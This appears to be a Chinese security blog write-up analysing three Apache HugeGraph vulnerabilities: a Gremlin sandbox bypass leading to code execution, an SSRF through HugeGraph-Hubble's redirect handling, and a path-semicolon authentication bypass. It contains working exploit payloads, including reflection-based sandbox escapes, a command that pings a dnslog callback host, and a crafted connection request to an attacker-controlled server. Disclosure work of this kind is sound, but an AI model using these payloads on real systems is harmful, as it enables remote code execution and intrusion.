Apache HugeGraph-Server(CVE-2024-27347|27348|27349)漏洞分析
6right 发表于 浙江 历史精选 3359浏览 · 2024-05-14 03:12

命令执行

CVE-2024-27348

漏洞描述

HugeGraph是一个速度快、高度可扩展的图数据库。由于其出色的 OLTP 能力,HugeGraph 可以轻松存储和查询数十亿个点和边。由于遵循Apache TinkerPop 3框架,可以通过Gremlin(一种强大的图遍历语言)实现各种复杂的图查询。Apache HugeGraph-Server 中存在 RCE-远程命令执行漏洞

影响范围

Apache HugeGraph-Server: from 1.0.0 before 1.3.0.

环境搭建

wget https://downloads.apache.org/incubator/hugegraph/{version}/apache-hugegraph-incubating-{version}.tar.gz
tar zxf *hugegraph*.tar.gz

然后修改hugegraph.properties文件内容

启动服务

bin/start-hugegraph.sh

漏洞分析

测试发现调用以下接口来通过Gremlin实现各种复杂的图查询时存在ScriptEngine命令执行

curl -H "Content-Type: application/json" POST http://localhost:8080/gremlin -X POST -d @poc

poc文件内容

{
        "gremlin": "scriptEnginePaylod",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
}

因为最终会通过org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine#eval执行groovy代码

但是测试发现存在沙箱限制,发现启动时设置了securityManager(JAVA安全沙箱机制)

项目编写了HugeSecurityManager类来继承了SecurityManager类,在HugeSecurityManager中对通过gremlin执行的各个危险操作进行了限制。
例如: org.apache.hugegraph.security.HugeSecurityManager#checkExec

如何拦截?

可以调试命令执行,最终会走到java.lang.ProcessBuilder#start

这里判断了是否设置了安全沙箱,如果是就会调用安全沙箱的check方法。其他操作也是这样的方式拦截

如何绕过沙箱?

参考mi1k7ea师傅的文章:Site Unreachable
测试过程中发现在默认启动情况下,hugegraph没有对反射进行过滤

{
        "gremlin": "Class clz = Class.forName(\"java.lang.ProcessImpl\");java.lang.reflect.Method method=clz.getDeclaredMethod(\"start\",String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class, boolean.class);String[] cmd = new String[2];cmd[0]=\"touch\";cmd[1]=\"/tmp/20231219\";method.setAccessible(true);method.invoke(clz,cmd,null,null,null,false);",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
}

那么只需要执行命令在checkexec之后即可,但是这样依旧会有一个问题,在执行一些命令的时候可能会调用到其他的拦截方法,导致执行失败,需要找到一个更好的绕过方法。
已知现在所有checkexec的调用都会调用callFromGremlin

来看callFromGremlin

org.apache.hugegraph.security.HugeSecurityManager#callFromWorkerWithClass

GREMLIN_EXECUTOR_CLASS为ScriptEngine调用必经堆栈

GREMLIN_SERVER_WORKER和TASK_WORKER是通过Gremlin会设置的新线程名

显然他会判断是否是由Gremlin图查询调用的ScriptEngine执行,如果是就会进行checkXXX函数来检查,而我们现在可以反射修改任意类,那么第一时间想到的就是直接反射修改线程名,如下

{
        "gremlin": "Thread thread = Thread.currentThread();Class clz = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field field = clz.getDeclaredField(\"name\");field.setAccessible(true);field.set(thread,\"evil\");Runtime.getRuntime().exec(\"ping test.t28yhq.dnslog.cn\");",
        "bindings": {},
        "language": "gremlin-groovy",
        "aliases": {}
}

此时,callFromGremlin将会获取到不符合要求的线程名返回false,也就绕过了所有check,可以通过ScriptEngine执行任意代码

扩大危害

因为apache hugegraph为内部服务,默认只支持内部访问,一般不会暴露在公网上。

想要扩大危害,只能找到他的前置服务。

CVE-2024-27347

影响范围

Apache HugeGraph-Hubble: from 1.0.0 before 1.3.0.

hubble是incubator-hugegraph-toolchain工具集成项目中的一个子模块,负责在线HugeGraph管理和分析仪表板(包括:数据加载、模式管理、图形遍历和显示)。
等于说是HugeGraph的管理平台,且默认不需要账号密码登录,满足我们的要求。

此时出现两种情况

当目标存在图时:

直接访问图就可以执行绕过沙箱的gremlin的payload来进行代码执行

但是当目标不存在图时:

此时就算我们可以爆破port寻找hugegraph服务,但之后还会判断请求中graph图,是否在内部hugegraph中存在。

这个时候没有办法爆破graph(范围太大)

对请求确立hugeGraph连接进行分析,确定了会发送一个/versions的GET请求

请求发送点:org.apache.hugegraph.api.version.VersionAPI#get

public Versions get() {
        RestResult result = this.client.get(this.path());
        return (Versions)result.readObject(Versions.class);
    }

这里JerseyWebTarget的发送请求时,默认会跟随状态码30X跳转,可利用该特性将这个SSRF变成一个GET类型的路由和参数均可控SSRF

参考:记一次从鸡肋SSRF到RCE的代码审计过程-安全客 - 安全资讯平台

同时可以再hugeGraph服务上找到调用gremlin的GET请求接口

那么使用mockoon工具在恶意服务器3000端口上搭建一个服务,接收/versions请求,响应301,存在location请求头内容为将要跳转的路由及恶意payload

http://xx.xx.xx.xx:xx/gremlin?gremlin=Thread%20thread%20%3D%20Thread.currentThread()%3BClass%20clz%20%3D%20Class.forName(%22java.lang.Thread%22)%3Bjava.lang.reflect.Field%20field%20%3D%20clz.getDeclaredField(%22name%22)%3Bfield.setAccessible(true)%3Bfield.set(thread%2C%22evil%22)%3BSystem.getProperties()%3B

这时候发送/api/v1.2/graph-connections请求,将host post改为mockoon恶意服务

POST /api/v1.2/graph-connections HTTP/1.1
Host: 172.27.64.135:8088
Content-Length: 91
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.27.64.135:8088
Referer: http://172.27.64.135:8088/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"name":"bb","graph":"aa","host":"172.27.64.1","port":"3000","username":"44","password":"44"}

可以看到响应结果中无法反序列化,但是异常中直接返回了System.getProperties()的信息(成功利用gremlin执行了任意代码)

这样,在无法确认graph 信息时也能通过这个ssrf直接操作HugeGraphServer的接口,以及其他内部web服务。

扩大危害2

CVE-2024-27349

在申请CVE的交流过程中,项目PPMC询问我开启auth后是否安全,秉着测试测到底的原则,就看了一下。
https://hugegraph.apache.org/docs/config/config-authentication/ (Enable Auth system)

开启鉴权

gremlin-server.yaml 配置文件中配置 authenticator 及其 rest-server 文件路径:

authentication: {
  authenticator: org.apache.hugegraph.auth.StandardAuthenticator,
  authenticationHandler: org.apache.hugegraph.auth.WsAndHttpBasicAuthHandler,
  config: {tokens: conf/rest-server.properties}
}

更改conf/rest-server.properties文件

auth.authenticator=org.apache.hugegraph.auth.StandardAuthenticator
auth.graph_store=hugegraph

在conf/graphs/ hugegraph{n}.properties 配置文件中,配置 gremlin.graph 信息:

gremlin.graph=org.apache.hugegraph.auth.HugeFactoryAuthProxy

鉴权绕过

在开启配置authenticator 后,访问api会经过

org.apache.hugegraph.api.filter.AuthenticationFilter#filter,其中会调用isWhiteAPI去判断是否需要进行filter

public static boolean isWhiteAPI(ContainerRequestContext context) {
        String path = context.getUriInfo().getPath();

        for (String whiteApi : WHITE_API_LIST) {
            if (path.endsWith(whiteApi)) {
                return true;
            }
        }
        return false;
    }

存在WHITE_API_LIST

private static final List<String> WHITE_API_LIST = ImmutableList.of(
            "auth/login",
            "versions"
    );

javax.ws.rs.core.UriInfo提供了有关当前请求URI的各种信息,可以通过ContainerRequestContext的getUriInfo方法进行获取。

获取到UriInfo后,可以调用其方法来获取请求Path信息,这里使用了getPath获取路径信息,而getPath这里没有进行规范化处理的,导致了可以利用;来进行bypass
例如:

可以绕过鉴权获取到用户信息

调试图:

可以成功进入到true,bypass filter的同时匹配api controller

可惜的是,并不能绕过鉴权直接调用gremlin

  • 因为构造请求gremlin后,hugeGraph还会构造新的请求发送到gremlin server,这时候还会有一层AUTHORIZATION鉴权

想要具体分析可以看

  • lib中gremlin-server-x.x.x.jar包中相关鉴权代码

其他API都是可以正常绕过鉴权的,是否可以通过其他api来获取用户信息再进行gremlin代码执行,这里没有进一步研究

总结

这样就可以找到联网暴露的HugeGraph-Hubble服务

已经存在图管理

  • gremlin绕过沙箱执行任意代码

不存在图管理

  • 利用SSRF来绕过连接,直接操作hugeGraph
    • 开启鉴权:利用;绕过鉴权获取服务器信息
    • 未开启鉴权(默认):直接利用gremlin绕过沙箱执行任意代码
0 条评论
某人
表情
可输入 255

没有评论